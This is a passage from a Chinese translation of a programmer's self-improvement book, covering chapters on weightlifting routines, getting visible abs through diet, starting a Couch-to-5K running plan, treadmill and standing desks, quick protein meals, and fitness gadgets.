为推、拉和腿部三类。推就是把杠铃朝着远离你的方向推出去。这种练习通常会运用你的胸部肌肉（胸大肌）、肩部肌肉（三角肌）和肱三头肌。拉就是把杠铃向自己拉过来。这种练习通常会运用你的背部肌群和肱二头肌。当然啦，腿部练习就是锻炼你的腿部肌肉。\n刚开始的时候，你可能想在同一天里把推、拉和腿部练习都练一遍。那么每个身体部位只练一个动作——我们将决定哪个动作会多做一点儿。第一次举重练习后，你可能会感到肌肉非常酸痛。这种酸痛被称为延迟性肌肉酸痛症（DOMS），将于第二天发作，通常会持续一周左右。不用担心，如果你坚持锻炼，那这种酸痛感会得到缓解并且较少发作。\n进行2～3周的全身锻炼之后，你就可以把自己的锻炼计划拆分为2天，分别锻炼上肢和下肢，或者拆分为3天，分别锻炼推、拉和腿部动作。表60-1给出了一些方法。\n表60-1 从全身锻炼到分部位锻炼\n周一\n周二\n周三\n周四\n周五\n周六\n周日\n初学者\n推、拉和腿部\n推、拉和腿部\n推、拉和腿部\n中等程度\n上肢\n下肢\n上肢\n中等程度到高级\n推\n拉\n腿部\n你应该做哪种举重练习\n好了，既然你已经有了一个基本的锻炼计划，也知道如何实现自己的目标，那么现在你就需要了解自己应该做哪种举重练习了。在这一节中，我会针对我认为是最全面的、可以锻炼身体每个部位的动作给你一些建议。我不打算在这里深入探讨每个动作的细节，但是你可以在我最喜欢的健身网站Bodybuilding.com（http:// simpleprogrammer.com/SS-bodybuilding）上找到完整的描述，以及相关的图片和视频。\n挑选好的动作的总体策略就是，要做尽可能多的复合运动。复合运动就是会涉及身体多处关节的练习。参与运动的关节越多，参与运动的肌肉也就越多，获得的效果也就越好。我在这里推荐的许多动作都可以锻炼不同的肌肉，但是它们都只会主要锻炼一个肌群。\n也许你可能想一开始的时候练习的组数少一些，也许只练1～2组，然后逐渐增加到每个动作练3～5组。通常，我尽量让每次锻炼的总数达到20～25组，耗时约1小时。超过这个数量不见得有好处。\n最佳的全身运动\n你可以选择各种动作和动作的变种。但是这里我列出的都是我为自己或者为别人创建的固定动作。你可以从中挑选出最好的。\n推\n胸肌\n卧推——这是核心的胸部练习之一。了解一下如何准确完成这个动作。你也可以针对这一肌肉的不同部位进行上斜卧推或者下斜卧推。\n哑铃飞鸟——另一种很棒的胸部练习，可以真正帮助你增大胸肌。\n肱三头肌\n过顶臂屈伸——我喜欢坐着做这个动作。我发现这是锻炼肱三头肌的最佳动作之一。它可以锻炼整个肱三头肌，并且能让你的臂围增大。\n滑轮下压——这个动作不是针对肱三头肌，而是肱三头肌的外侧头，这样可以让你的肱三头肌呈现出完美的马蹄铁形。\n肩部三角肌\n杠铃推举——如果你站着做这个动作，它还可以锻炼你的腹部肌肉。做这个动作要小心谨慎。开始练习的时候重量要轻一些，动作一定要正确。总体而言，这是最好的肩部练习之一，也是很好的复合运动。\n哑铃侧平举——这个动作锻炼三角肌的外侧部，这个部位的肌肉通常难以增长。尽管它不是一个复合运动，但是我仍然强烈推荐。\n拉\n背部\n单臂哑铃划船——这是一个痛苦的练习，至少对我来说是这样的。但是它对背部肌肉的增长效果无以伦比。每次练习一只手臂以获得最大的效果。\n引体向上——主要用于锻炼背部，增强背阔肌。你知道的，背部两侧会赋予我们V型身材，让你看起来像是多了一对翅膀。如果你做不了引体向上，可以借助机器，直到可以独立完成这个动作。\n肱二头肌\n哑铃交替弯举——这是锻炼肱二头肌最好的方法之一。如果你同时在进行其他背部练习，这一动作也是必不可少。任何背部练习动作都能练到肱二头肌。试着别让你的身体来回摆动，这虽然会让这个动作简单一些。\n腿部\n深蹲——这是重量练习的王者！没什么动作能比深蹲让你感觉更好。这一动作可以锻炼你腿部几乎所有的肌肉，甚至能锻炼到核心肌群。学习一下如何正确地做这个动作吧，不要回避。\n硬拉——这是另一个很好的练习，但是有点儿难学。别紧张，提着杠铃慢慢练习就是了。这个练习可以锻炼整个身体，但是强度很大。我建议重复这个动作不超过5次。你肯定要花些时间学习如何正确的做这个动作，因为如果动作不当，会殃及下背部。这个动作主要锻炼你的小腿肌肉和下背部肌肉。\n提踵——怎么锻炼小腿肌肉并不重要，但要确保做这个动作时要有一些变化。如果你躯干壮硕而下肢瘦弱，会看起来很怪异。\n如果你只能选几个动作，按照价值我依次推荐以下几个动作：深蹲、硬拉、卧推和杠铃推举。即使只做这些动作，你绝对也会看到肌肉生长。\n怎么锻炼腹肌？好吧，不用担心，只要按照上文提到的核心举重练习进行锻炼，腹肌也会得到相应的锻炼。你在做深蹲、硬拉和杠铃推举（站姿）的时候，为了保持身体稳定，都会锻炼到你的核心肌群。\n确保你仔细查看了每个动作的做法，并正确掌握了如何做这些动作总是从较轻的重量开始，然后一步步循序渐进。\n吃些什么\n即使你举重练习做的非常好，如果你的膳食不够合理，也看不到任何效果。幸运的是，合理膳食并不难做到。你只需要确保自己摄入的热量有盈余，并且得到足够的蛋白质。\n我建议，每天每磅“瘦肉体重”摄入1～1.5克蛋白质。如果你的体重是200磅，其中大约20%是脂肪，那么你的瘦肉体重就是160磅，那么你每天应该摄入至少160克蛋白质以确保你吃的足够增长肌肉总量。\n尽量吃健康食物，这样你摄入的大部分热量都用来去增长肌肉而不是增加脂肪。但是你应该知道，脂肪的增加是不可避免的。你在增长肌肉的同时也会增加一些脂肪，事实如此。\n至于补剂，其实你并不需要。锻炼之后来一份高蛋白奶昔会有帮助。如果你喜欢也可以试试肌酸。肌酸是我发现的唯一真正有效的补剂之一。它可以帮助你举起更重的杠铃，让你的肌肉看起来更饱满。最后，你也可以吃一些支链氨基酸（BCAA），以帮助确保你有足够的支链氨基酸来构建和修复肌肉。但是，我再强调一遍，你并不需要任何这些东西，其他的补剂基本上就是敲竹杠。\n采取行动\n办一张健身会员卡，为自己创建个人健身计划。如果你觉得有些胆怯，可以聘请一位私人健身教练，让他教你几周。立刻行动，不要等待。\n去http://simpleprogrammer.com/ss-bodybuilding查看本章提到的动作。观看视频，学学该怎么做这些动作。先不拿杠铃试试这些动作吧。\n第61章 如何获得完美腹肌\n如果有一个人人都想知道答案的健身问题，必然是“怎样才能拥有6块腹肌？”腹肌似乎是体形健美和身体吸引力的完美标志。拥有腹肌能让你成为特殊俱乐部的一员，不再受到人类交流的普遍规律的限制。\n但是，如何才能拥有腹肌呢？如何才能跻身于身材健美的高级殿堂——在泳装模特、好莱坞明星、古罗马雕塑中占有一席之地？这并不容易，但是令人惊讶的是，答案是只需要做仰卧起坐或者卷腹。\n在本章中，我会拉开幕布，卷起袖子，告诉你如何获得梦寐以求的腹直肌。\n厨房造就腹肌\n我既有好消息也有坏消息。好消息是，你可以停止做仰卧起坐和艰苦的腹部训练，它们没有任何实际效果。坏消息是，要获得腹肌你必须做更难的事——遵从一个规则，将身体的脂肪降到一个很低的百分比。\n大多数人认为反复训练自己的腹部肌肉就能拥有腹肌。尽管就像其他部位的肌肉那样，你可以通过渐进性对抗性训练增大你的腹肌，但是大多数人之所以没有腹肌，不是因为腹肌不够大，而是因为他们看不到。\n你可以做仰卧起坐、卷腹、抬腿以及其他你能想到的腹部练习，但是如果你不能显著降低身体的脂肪，你就永远看不到自己的腹肌。大多数进行举重训练的人不做专门的腹部训练也拥有傲人的腹肌——我就几乎没有直接炼过腹肌。问题在于，特别是对于男性来说，腹部区域是脂肪最容易堆积的主要区域之一。\n除非你天赋异禀，不容易在上腹部堆积脂肪，否则你就需要极低的身体脂肪水平，才能看到自己的腹部肌肉。即使情况不是这样，基于你已有的举重训练的知识，你可能也能猜到卷腹和仰卧起坐主要是训练腹部肌肉的耐力的，因为对抗性训练不足以形成肌肉膨胀。\n如果你想要拥有6块腹肌，你应该从厨房开始。我们已经对减重进行了颇多的讨论，但是在超重10磅、20磅甚至更多的状态下减掉脂肪与身材健美的状态下减掉脂肪有着极大的不同。\n想拥有腹肌之前，不需要先有一个好身材。如果你遵照前几章中的建议，做到这一点并不难，只是需要一些时间。但是一旦身体脂肪到达平均水平，要将体脂率降低就需要非常严格的训练和相当大的牺牲。\n你的身体不想让你有腹肌\n我们看到一张健身模特的照片，模特的完美腹肌清晰可见，这时会想：“哇，这人看起来真棒。”但是，我们的身体又有不同的观点。如果我们的身体有自己的思想并且能说出来，它的反应可能会与你的截然不同。看到同一张图片，你的身体可能会说：“额，天哪！这个人快要死了，他快要饿死了。为什么他的身体还不救救他？”\n你要明白身体是一台非常复杂的机器，它并不在乎你穿泳衣是否漂亮，它的主要关注点集中在确保让你活着。对你的身体来说，洗衣板般的腹肌是一个很严重的问题，洗衣板般的腹肌表明你离饥饿和死亡仅有几周的时间了。你可能会对明天一定会有充足的食物充满信心，但你的身体却比较喜欢为长期的灾难做好准备。这就是身体要存储脂肪的原因——有备无患。\n出于让你活着这一自私的目的，你的身体会无所不用其极地阻止你减少脂肪。只要脂肪减少，肌肉也跟着减少，不过用处不大。但是当你的体脂率很低的时候，你的身体会“不怀好意”地试图扼杀你的减肥大计，把肌肉分解提升到更高水平。你的身体会让更多的肌肉燃烧热量，以此来保护宝贵的脂肪存储。\n如果你想一下，这一切完全讲得通。肌肉每天都需要相当多的卡路里来维持。拥有的肌肉越多，燃烧的卡路里就越多。所以，如果你的卡路里不足，看起来就要把自己饿死了，那你的身体有一个一石二鸟的方法那就是利用肌肉获得卡路里，在得到额外能量的同时又可以减少对能量的需求。\n你的身体不但通过消耗肌肉的方式来破坏你获得泳装身材的努力，而且还做了其他隐蔽的事情，例如，增加胃饥饿素—— 一种能让你感到饥饿的激素的分泌，同时减少瘦素—— 一种能让你产生饱腹感的激素的分泌。根本上讲，你减的脂肪越多越感到饿，也越难有饱腹感。\n在这里我就不做详细讲述了，不过我想你已经抓住了要点。一旦身体的体脂率低于临界值，为了维持生命，你的身体就会疯狂地试图启动各种额外的干预机制。\n你该怎么做\n不幸的是，没有灵丹妙药。体脂率极低的职业健美运动员大多都服用类固醇和其他药物，而这些药物或许是你不愿意服用的，因为这些药物相当有害并且危险。事实上，如果你对职业健美运动员和健身模特用来减脂的极端减脂药剂感到好奇，不妨搜索一下“DNP”（2,4-二硝基苯酚）。这种毒性巨大的化学物质基本上会关闭你的线粒体，停止小学生都知道的ATP（三磷酸腺苷）循环，然后你的整个身体变成一个有毒容器。（声明：不要随便使用DNP、合成代谢类固醇或者任何其他非法物质去减肥或者增肌——这不值得，你有可能会失去生命。）\n可是，对于不愿意关闭线粒体的普通人来说，应该怎么办？对你而言，答案就是严格控制饮食，并且长期坚持。如果你为了看到腹肌想要将体脂降低到很低的水平，那么需要精确计算你的卡路里并保证你的体重不会下降得过快或者过慢。你可能会经历钢铁般的锤炼，尤其是面对不断增加的饥饿感的时候，但你终会成功。\n你不仅要调节自己的饮食，放弃任何禁忌的食物，还要确保自己像试图增加肌肉时那样继续做举重练习。如果你继续进行举重练习，在减重的同时，你也可以在一定程度上减少肌肉的分解。在节制饮食的同时进行举重练习是很困难的。通过持续的举重练习，你给自己的身体发出了需要这些肌肉的信号。\n你可以尝试高强度间歇式训练（HITT）来减少脂肪。HIIT就是短时间内高强度的有氧运动，想想每次在一两分钟时间内冲向山顶或以最快的速度奔跑。与长跑等常规有氧运动相比，这一有氧运动能更好地在燃烧脂肪的同时保留无脂肪组织。\n总而言之，如果你想拥有完美的腹肌，就需要大量的训练。可以说你是在与你的身体进行一场生死较量。\n采取行动\n在网上搜索不同体脂率的人的照片，看看你能否计算出要想拥有6块明显腹肌体脂率应该是多少。这一数值有着巨大的性别差异。\n第62章 启动跑步程序\n不管是想减肥还是想改善心血管健康，你都可能会对跑步感兴趣。我知道我不应该这么说，但是我得对你坦白——我讨厌跑步。我曾经试着去喜欢它。当我在跑步机上跑步的时候我会一边告诉自己“我很快乐”，一边倒数着还有多久就要结束了，或偷瞄一眼手机看看还剩下多少英里，事实上，我的确不喜欢跑步。\n不管怎样，我还是开始跑了。通常我一周跑3次，一次3英里（约5.6 km），已经坚持了5年。尽管我不喜欢跑步，但是由于定期跑，它还是成为我的一种日常惯例。但一开始并不容易。如果你以前从来没有跑过，不可能一出门就慢跑3英里。或许你可以做到，但我第一次跑步的时候，连一个街区都跑不完。\n在本章中，我们会讨论为什么你要从制订跑步计划开始，跑步如何影响你的身体，以及你如何开始跑步。\n为什么你想要跑步\n如果我的观点很无趣，请原谅我，因为我真的不喜欢跑步。尽管我对跑步缺乏热情，但我却不能忽视它的诸多好处。显然，我跑步肯定不是为了折磨自己而是另有原因的，对吧？\n和多数人一样，我开始跑步的最大原因是为了心血管健康。显然，跑步并不是增强心脏、增加肺活量的唯一方法，任何形式的运动都能做到这一点，但是跑步却是最容易的。它简单到无论你在哪里只需要出门跑就行了。\n相同的思路，跑步也是燃烧额外的卡路里的好途径。减肥主要在于限制卡路里的摄入，光跑步不能让你减肥，但是跑步能对减肥产生影响。跑步已经被证明会抑制食欲，所以在饿的时候跑步，一举两得，能让你离减肥目标更近。\n尽管在跑步的时候我其实并未乐在其中，但是跑完之后会感觉非常好。我发现总的来说跑步能让你更快乐，这一观点也得到一些研究的支持（参见http:// simpleprogrammer.com/ss-exercise-boosts）。跑步是治疗轻度抑郁的天然良药，能让你自我感觉更好。如果你曾经听说过“跑步的快感”这个词，那么你可能会知道，跑步能以化学变化的方式提升你的情绪。通常我跑不到足够的距离来感受这种效果——可能是我不喜欢跑步的原因。\n跑步还有很多其他的好处，例如，增强膝盖和其他关节，提升骨密度，降低罹患癌症的风险，也能延长寿命。（有些好处比其他好处更容易证明。）\n准备开始跑步吧\n如果你以前从来没有跑过任何类型的长跑，那么跑几英里的想法似乎不太靠谱。但几乎任何人都能跑相当长的距离，甚至是马拉松。\n长跑的关键是制订跑步计划，随着时间的推移逐步增加跑步距离。某些标准的马拉松训练计划能让你在30周内从一开始只能跑3英里变成能跑完全程26.2英里的马拉松。\n但是在考虑跑马拉松之前，你首先要能跑完3英里（约5 km）。3英里是一个很好的起点，一旦能跑到，你就能参加各种5 km赛跑，也能决定是否想为了更大的目标而继续训练。\n几年的停滞之后，当我又开始跑步时，我使用了最近比较流行的跑步计划Couch-to-5K。最初的Couch-to-5K计划是由一个叫Cool Running的跑步团体创建的（http://simpleprogrammer.com/ss-couch-to-5k）。\n这个计划的理念很简单：每周逐步地增加你的跑步距离。开始你只需要短时间地走路或跑步，等训练计划结束时，你就能够跑完完整的5 km（尽管增长幅度不总是逐步的）。\n这个计划最棒的地方就是：它是为那些没有跑步经验、体型可能不是很好的人设计的。每周进行3次20～30分钟的跑步训练，花2个月就能完成该计划。\n我在实行这个计划的时候，使用了一款让一切异常简单的移动应用。这个应用能够追踪我所在的训练阶段，告诉我什么时候跑什么时候走。你可以在http:// simpleprogrammer.com/ss-c25k找到官方的iOS版本，如果搜索“couch to 5K”，你能在所有的移动应用商店找到这个应用。\n入门建议\n在开始跑步之前，最重要的就是下定决心。如果不能坚持一周跑3次，即使你一开始就实行Couch-to-5K计划，也不会有任何实际进展。如果你不能坚持跑步，你不仅不会进步反而会退步。锻炼耐力需要时间，而失去耐力却不需要太多时间。\n此外，刚开始跑步的时候不要太关注进展。你可能一开始的几周是走和跑混合的—— Couch-to-5K计划提倡这种做法是有原因的。随着时间的推移，你的跑步距离会不断增加，最终会到达你设定的目标。你必须坚持并有耐心。如果你过早地急于求成，很可能会变得心灰意冷，无法继续。\n采取行动\n访问Cool Running的网站，了解Couch-to-5K计划：http://simpleprogrammer.com/ss-couch-to-5k。\n如果你对跑步感兴趣，下载Couch-to-5K这个应用，在日历上排出每周用来跑步的时间，承诺要完成这个计划。你可以找一个同伴和你一起开始这个计划。有伙伴同时进行同样的训练，能让你更有责任感，也让训练更有乐趣。\n第63章 站立式办公及其他窍门\n作为软件开发人员，你可能会像我一样对任何可以帮自己以更快、更省力的方式达成健身目标的窍门或者捷径感兴趣。我一直想找出能够事半功倍地提高健身效果的方法。\n在过去几年里，我想出了不少在日常生活中利用的一些小技巧，让减肥、增肌和保持健身目标变得更容易。鉴于我们中的大多数人整天都坐在电脑前，这些技巧也能帮你改善身体健康，也算是额外收获。在本章中，我会和你分享这些窍门和技巧。\n站立式办公和跑步机上办公\n你有没有想过自己可以一边工作一边在跑步机上走步，从而燃烧掉很多多余的热量？我想过，事实上我还付诸了行动。此刻我正坐在书桌前，但是几步之外就是一台跑步机，其上配有能放笔记本电脑的支架。\n白天，我常常花1～2小时一边工作一边在跑步机上慢走。通过这种方式，我每天能毫不费力地额外消耗一些多余的热量。我把跑步机的速度调得很低，一边能让自己很轻松地走步，同时能打字、移动鼠标。\n原本我打算一整天都在这个装有支架的跑步机上工作，但是后来发现这并不现实。尽管在跑步机上慢走时并不费多少力气，但是还是要花一些力气的。另外，这并没有坐在桌前办公那么方便，特别是桌上还有大显示器。\n我发现慢慢调高跑步机的坡度就能多消耗一些热量。相同步速下，我还能轻松打字和使用鼠标或触控板，但是燃烧热量的热量却更多了。我还可以每天压缩出大约一小时的时间。\n地雷：如果你不是在家里办公呢\n当然，要这么做，你需要要么在家办公，要么有很宽松的工作环境。对于许多人来说，站立式办公是一个更简单的选择。尽管站立式办公燃烧的热量没有在跑步机上办公燃烧的热量那么多，但是一直站立也能燃烧相当多的热量。\n此外还有额外的好处，站着明显比坐着更有益于健康。有大量的研究表明，久坐对健康的危害极大（参见http://simpleprogrammer.com/ss-health-sitting）。\n同样，还有一个额外的好处，如果你也像我一样使用番茄工作法，那么你可以在5分钟的休息时间里进行拉伸、俯卧撑、引体向上和别的练习。\n饮食窍门\n为了保持体形，最难做到的事情之一就是处理食物。健康的饮食通常需要事先做大量的准备和烹饪工作。去餐馆吃饭要比自己做饭容易很多，但是如果想保持健康，你还是要尽量自己做饭。\n我一直试着在找一种办法，让我吃得更健康，因此我开发了一套我认为很实用的饮食窍门。\n用微波炉烹饪鸡蛋\n我的第一个饮食窍门是关于鸡蛋的。鸡蛋是一种极好的食材，因为它们富含蛋白质，你可以通过控制自己吃的全蛋的数量和蛋清的数量来调节热量和脂肪的摄入总量。唯一的问题就是怎么把蛋清和蛋黄分离以及烹饪鸡蛋都很让人头疼。\n但是，我找出了让事情变简单的方法。首先，你可以购买只有蛋清的蛋类替代品而不是完整的鸡蛋。你可以在商店的盒子里买到。尽管蛋类替代品必须要冷藏，但是它是获取纯蛋白质来源的极好的方法，还是相当方便的。\n但要如何烹饪鸡蛋呢？我发现实际上用微波炉就能很好地烹饪鸡蛋和蛋清。一开始我对这种方法也有点儿怀疑，但事实证明，一旦能用微波炉很好地烹饪鸡蛋，你就会发现很难将其与用平底锅做出来的鸡蛋区分开来——只要你喜欢炒鸡蛋。\n大多数日子里，我每天的第一顿饭就是加了冷冻菠菜的微波过的鸡蛋。我先将一些冷冻菠菜放在微波炉容器里加热几分钟直到解冻，然后倒入蛋类替代品，或者真正的鸡蛋，或者二者的混合。（我发现放入至少一个真鸡蛋能让口感更好。）最后，我会用微波炉加热1～2分钟，搅拌后再继续加热，直到它们凝固在一起。\n最后一步是给鸡蛋加一些切达干酪或者萨尔萨辣酱。如果希望保持低热量，我会选择低脂的切达干酪。我能在10分钟之内做好一顿饭，并且因为没有增加过多配料，非常易于吸收。在鸡蛋中加一点菠菜是一个很好的补充，能让我不觉得饿；此外，菠菜对你也很有益处。\n我的大多数窍门都是以无需太多烹饪即可获得大量蛋白质为基础的，因为我平常要么是需要增肌，要么是在减重的同时保存肌肉，而这两种情况都需要高蛋白饮食。\n原味脱脂希腊酸奶\n我的另一个技巧就是利用原味脱脂希腊酸奶作为另一个易吸收、无需烹饪的蛋白质来源。我发现，在大多数商店里都能买到的原味脱脂希腊酸奶，它几乎是纯蛋白的，热量很少。\n原味脱脂希腊酸奶唯一的问题就是口味欠佳。调味希腊酸奶的口味更好一些，但是含糖量高，所以一点儿都不健康。没关系，我有办法解决。\n事实证明，如果在酸奶里加一点柠檬汁、香草香精或者其他低热量调味料，再加一点无热量的人造甜味剂（我最喜欢的牌子是Truvia），就能制作出口感相当不错的高蛋白、低热量酸奶。\n如果你喜欢，你甚至可以加一点儿你爱吃的新鲜水果或者冷冻水果。添加水果能让味道更好，同时热量也很低。\n冷冻肉类\n对于肉类，我也找到了一些很好的解决办法。我一直讨厌烹饪鸡肉，不仅花时间、难料理，而且我很害怕烹调鸡肉。尽管我知道鸡胸肉是健美人士的一大主食，但是我就是不喜欢它们，也没办法烹饪好。\n不过，幸运的是，我发现我可以买到冷冻的半成品红烧鸡胸肉，甚至更好吃但稍微有些肥的红烧鸡腿。我找到了几种不同的品牌，不过在美国最大众的品牌是Tyson，能在好市多（Costco）、山姆会员店（Sam’s Club）或BJs等仓储超市买到。\n为了做一餐简单、美味又健康的正餐，我只需要把几块冷冻鸡肉放入微波炉里，过几分钟后就可以吃了。尽管新鲜的鸡肉料理更健康一些，但是当我想冲出去吃快餐的时候，便利的半成品鸡肉就能将我从这种冲动中拯救出来。此外，它的口味也不错。\n同样的道理，我还找到了冷冻的火鸡肉丸。当我得知Ryan Reynolds在塑造他的一个角色需要减重时吃的就是火鸡肉丸的时候，我得到了这一灵感。这想法听起来不错，于是经过一番研究，我发现火鸡肉丸能提供均衡的蛋白质、碳水化合物和脂肪。\n你可以在大多数商店买到火鸡肉丸。你只要把它们放到微波炉里加热，几分钟后就可以吃了，极为方便。\n采取行动\n看看在本章提到的这些饮食窍门里，有哪些能用于你的生活中，让你更轻松地实现健身目标。\n看一下你现在的日程和健身计划，找出你觉得在日常生活中最恼人和最耗时的部分。你怎么样做才能找出窍门，让事情变得更容易？\n第64章 高科技健身装备：极客现身\n不知道你情况如何，反正我是一个标准的装备极客。我喜欢利用科技让自己的生活变得更简单。就像我现在坐在这里敲这一章内容的时候，围绕着我的是由一台电脑连着的5台显示器。为什么需要5台显示器？好吧，我想说这让我工作效率更高，并且在某种程度上，我肯定确实如此，但实际上，我只是想拥有更多的显示器并把它们当作不动产。与技术相关的一切都能激励我，尤其是与健身相关。\n本章介绍的都是能帮助你实现健身目标的或者能让你的健身过程更充满乐趣的科技装备。我们已经进入了全新的时代，当下我们比以往任何时候都更了解自己，了解自己身体的运转规律。这种自我认知也被称为“量化自我”。在本章中，我会带领你领略各种技术，并从中选出一些最有用的装本来帮你“量化自我”。\n步行计数器和计步器\n我觉得从步行计数器和计步器开始说起可能比较合适，因为它们是你现在能看到的最常见的科技装备。\n我是拥有某种计步器的超级粉丝，因为它不仅能帮你明确自己的实际运动量是多少，还能通过了解你的运动量来改变你的行为习惯，从而让你更有活力。\n市面上有很多不同种类的可穿戴计步器或者步计数器，目前最受欢迎的，特别是在开发人员圈子里最流行的，非Fitbit（http://simpleprogrammer.com/ss-fitbit）莫属。Fitbit有很多型号可选，基本款的Fitbit能够追踪你一天走的步数。你可以把Fitbit与手机自动同步，即时查看自己的数据。\n如果你还没有Fitbit计步器或是它的竞争对手出品的类似设备，我强烈建议你买一个。它们的价格相当便宜，但是它们能提供给你的对日常活动的洞察力是无价的。我建议你挑选一款能够使用表用按钮电池并且一块电池就能维持几个月的型号。我发现对我来说，日常佩戴Fitbit的最大麻烦就是得记得给它充电。\n我还发现，你最终可能想要停止使用计步器。有6个月的时间里，我一直有规律地使用Fitbit，但是当我意识到自己可以估算出自己的步数的时候，我也就不再戴了。我已经对自己的日常行程和从Fitbit上获得的读数非常熟悉了。\n无线体重计\n我最喜欢的一款科技装备是无线体重计，由一家名为Withings的公司（http:// simpleprogrammer.com/ss-withings）出品。这台设备最酷的地方就是无论何时，只要我站上去，它就能自动将我的数据通过无线上传到云端。这台体重计看起来毫不起眼，却令人惊奇：只要我站上去，其他的都不用做，就可以很轻松地获得自己体重的完整历史数据。\n它不仅能记录我的体重，还能记录我的体脂率。尽管体脂率读数的精确性有待商榷，但我更关心的是读数是如何随时间变化而变化的。尽管可能我获得的数据不够精确，但我能够看到相对变化，了解自己的体脂率是在升高还是降低。\n我强烈推荐我正在用的这款体重计，因为它能让你更好地了解自己的当前体重和变化趋势。有人说有了测量才能改进。即使你每天都站在体重计上，但只有看到体重随着时间的变化曲线时，你才会真正受到触动，向着正确的方向前进。\n组合设备\n健身科技最令人兴奋的领域莫过于组合设备了，尽管目前尚不成熟，但正被逐渐推广。这些组合设备能够通过各种传感器测量多个数据点，为你提供大量关于你的身体的信息。\n我曾经有机会采访了一家名为Angel的初创型公司（http://simpleprogrammer. com/ss-angel）的CEO。这家初创公司研发的组合设备能够测量你的心率、血氧含量、活动情况以及体温。他告诉我像Angel公司研发的这类设备，不仅可以从各个不同方面改变测量健康水平的方式，而且改变了测量我们健康的各个方面的方式。\n有了这些数据，就可以帮你优化锻炼方式，同时还能让你更加了解你所做的是如何影响你的身体的。我已经迫不及待地想尝试使用Angel的智能设备了。\n谷歌公司和苹果公司在这一领域也投入巨大。在我写这本书的时候，有传言说苹果公司正在开发一款智能手表[1]，这款手表可能包含一系列与健身和健康相关的传感器。谷歌公司已经开发出了专为在智能手表上运行而设计的Android操作系统的特别版本。我预测，将来我们都会戴能够提供给我们各种数据的智能手表，这些数据包括一天走了多少步，我的心率是多少以及任何其他可被测量的数据。\nPUSH的长处\n另一个让我很兴奋不已的设备是PUSH（http://simpleprogrammer.com/ss-push- strength），尽管在我写这本书的时候它还有没有面世），但我有幸通过我的“Get Up and CODE”播客采访过这家公司的CEO，因此我有机会了解到这一健身设备的一些独特想法。\n我发现PUSH设备非常有趣，它不仅是一款能够追踪步数和活动量的设备，更是为改善举重运动而设计的。你可以在举重的时候把这款设备戴在手臂上或者腿上，它就会追踪你的重复次数和组数。同时它还能追踪你产生了多大的力，做了多少功，平衡性如何，以及你举起杠铃的速度有多快。\n对我而言，这些数据就是金矿。我在举重的时候，要想追踪重复次数和组数是相当麻烦的。此外，我也一直想知道举重速度会对训练效果产生怎样的影响。\n耳机\n在我锻炼的时候，最重要的技术装备就是耳机。我经常在锻炼的时候听播客或有声书，因此我需要一副可以插入手机的好耳机。\n对于我，最大的问题就是有线耳机了。我不能使用耳塞式耳机或者任何其他有线的耳机，因为在跑步或者硬拉的时候，会拉到耳机线，耳机会从耳朵里掉出来。此外，当我去抓耳塞式耳机的时候，它们的线总是缠绕在一起。\n幸运的是，我找到了一副非常好的无线耳机。我买了各种无线耳机，最后我发现AresX（http://simpleprogrammer.com/ss-headset）最适合我。这些耳机基本上就是无线的耳塞式耳机，只是它们通过坚固、易弯曲的线缆把耳塞连起来，还不妨碍我运动。\n我绝对推荐投资购买一副好耳机。蓝牙技术如今已经能让无线耳机输出相当好的音质，也能轻松与智能手机相连。借助一副好耳机，你能充分利用锻炼的时间。你可能还想订阅Audible（http://simpleprogrammer.com/ss-audible）听听有声书。\n应用\n我们也别忘了应用。市面上有大量针对各种锻炼目的的健身应用。由于数量众多，我不会一一列举这些应用的名字，但我会给你一个你可能想找的是哪类应用的思路，以及我喜欢的应用。\n有各种能追踪你的跑步情况的跑步类应用。我之前开发过一款之前叫PaceMaker现在改名Run Faster（因为商标纠纷）的跑步应用，有Android版和iOS版两个版本。这款应用在你跑步的时候追踪你的跑步情况，通过“加速”或“减速”的提示来帮你保持一定的跑步速度。\n我最喜欢的一款跑步追踪类应用名叫Edomondo（http://simpleprogrammer.com/ ss-endomondo），也是我目前主要使用的跑步追踪应用。它有很多不同的功能，能让你更全面地了解自己的跑步情况，包括时间分配和海拔变化。\n我使用的另外一款应用是用来追踪我的举重锻炼情况的。以前我用纸笔记录，但是拥有一款能追踪你的锻炼情况的应用更简单、更方便。它能告诉你下一步该做何种举重量，同时让你了解以前的举重量。如果你还没有开始追踪自己的举重锻炼的状况，那你绝对应该马上开始。\n我试过了几款不同种类的应用，但是没有一款能让我特别兴奋的。我遇到的最大问题是，不能创建实际训练计划，因为太耗费时间，也不能分享给他人。（我和我妻子一起进行举重训练，我不喜欢不得不在她手机里再手动输入一次训练计划。）\n我最后决定使用Bodybuilding.com（http://simpleprogrammer.com/ss-bb-mobile）这款应用。这款应用能让我通过该网站在线创建实际的锻炼计划，然后我能将其保存并分享给任何人。由于这个应用不那么直观，因此使用起来有点儿麻烦，但是后来我找到了解决办法，发现它还是很好用的。\n[1] 作者指的是苹果于2014年9月正式发布的iWatch。—— 译者注\n第七篇 精神\n如果你不征服自己，你就会被自己征服。\n——拿破仑•希尔\n在本书中，我们已经讲了在实践中如何改善职业生涯，如何利用营销打开机会之门，如何通过教与学拓展思维，如何通过持久的专注力让工作更富有成效，还讲了关于理财的基本理论、让你的财富为你工作而不是你为财富工作的思维模式，最后还告诉你如何强壮身体和重塑身形。但是本书还欠缺了一个可以将上述所有内容关联起来的纽带。\n如果我们只是一台简单的机器，这并没有关系。但事实是，我们并不是简单的机器——我们是人类。我们不只是一个与思想相连的躯壳。我们不能只下达指示然后就期望身体能完成这些指令。这个世界存在着另一股很强大的力量，它能带领我们走上成功之路，把我们推向成功。你可以按照自己的意愿随意称呼这种力量，但是为了本书的目的，我称之为精神。\n本篇说的是身体与心灵之间的无形联系，它能够激发我们采取行动，并最终控制我们充分发挥自己的潜能，或者只能退回到相信自己就是周遭环境受害者的无奈境地。在本篇中，我的目标是用工具武装你，征服你所面对的最强大的敌人——你自己。\n第65章 